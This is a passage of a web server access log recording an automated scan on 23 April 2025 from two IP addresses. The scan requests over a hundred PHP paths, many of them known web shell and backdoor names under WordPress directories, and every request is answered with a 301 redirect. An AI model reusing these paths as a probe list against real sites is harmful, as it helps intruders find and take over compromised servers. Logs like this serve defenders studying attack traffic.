/images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:03 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:04 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:04 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:04 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:05 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:05 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:05 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:05 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:06 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 